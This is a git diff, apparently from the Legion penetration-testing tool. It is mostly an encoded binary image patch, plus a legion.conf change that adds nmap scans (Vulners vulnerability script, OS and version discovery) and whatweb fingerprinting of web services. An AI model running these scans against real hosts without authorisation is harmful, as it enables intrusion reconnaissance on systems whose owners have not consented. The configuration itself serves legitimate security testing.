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 diff --git a/legion.conf b/legion.conf index 0304a947..29841808 100644 --- a/legion.conf +++ b/legion.conf @@ -19,6 +19,8 @@ tool-output-black-background=False web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" [HostActions] +nmap%20script%20-%20Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" @@ -100,6 +102,7 @@ smtp-enum-vrfy=smtp, tcp snmp-default=snmp, udp snmpcheck=snmp, udp sslscan="https,ssl", tcp +whatweb="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp x11screen=X11, tcp [StagedNmapSettings] diff --git a/legion.png b/legion.png deleted file mode 100644 index d697b86d2c7719fa76592dcbf7ebbd068de79b2a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 106778 